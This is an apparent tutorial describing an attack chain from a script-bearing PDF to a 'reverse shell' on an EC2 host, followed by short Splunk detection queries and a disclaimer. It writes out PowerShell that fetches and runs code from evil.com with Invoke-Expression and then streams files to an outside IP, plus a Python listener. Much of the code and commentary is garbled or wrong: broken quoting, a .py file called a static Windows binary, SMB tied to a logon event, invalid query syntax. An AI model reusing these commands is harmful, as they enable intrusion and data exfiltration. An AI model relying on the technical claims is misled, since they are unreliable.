
A practical chain that starts with an innocuous PDF file and ends up in a reverse shell on an AWS EC2 instance
A practical chain that starts with an innocuous PDF file and ends up in a reverse shell on an AWS EC2 instance
It all begins on the front end of the attack. Using PowerShell’s built‑in WScript object we embed a script inside a PDF that will be delivered to a Windows host. The payload pulls an executable from a remote HTTP endpoint and writes it into the local filesystem.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
The key benefit is that the PDF does not need a separate download step: it hands off directly to PowerShell, which then launches the next phase of the chain.
Once the PDF’s script executes on the target host (10.0.1.5), we use PowerShell to open an SMB connection to an EC2 instance (54.231.12.41) and push the newly downloaded executable across that socket. The same code can be run from any Windows workstation, so it gives the attacker a low‑profile pivot point inside the corporate LAN.
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
The SMB packet appears in the Windows audit logs as a standard event (EventID 4624), making it easy to spot in most SIEM dashboards.
The final piece of our chain is a small reverse shell written in Python. It listens for an SSH connection from EC2 back to the same host, prints a debug line to the console and then exits. Once compiled into rcmd.py it will be executed automatically by the PowerShell step above.
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
Because it is a static binary that runs natively on Windows, there’s no need for an additional agent or service to be installed on the target host.
Security teams should assume compromise is possible and build layered detection strategies.
**Abnormal Traffic **
Filter for unusually large SMB packets from the target host.
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
High Memory Usage
The binary’s memory consumption to show that it is a non‑trivial process on the target host.
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**Out of Hours Window **
Red teamers will not usually execute in office hours due to the fear that their script might alert the user in some way this query will examine traffic at times that it would be unexpected.
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
This project is intended for educational and research purposes only. Do not use these techniques in unauthorized environments.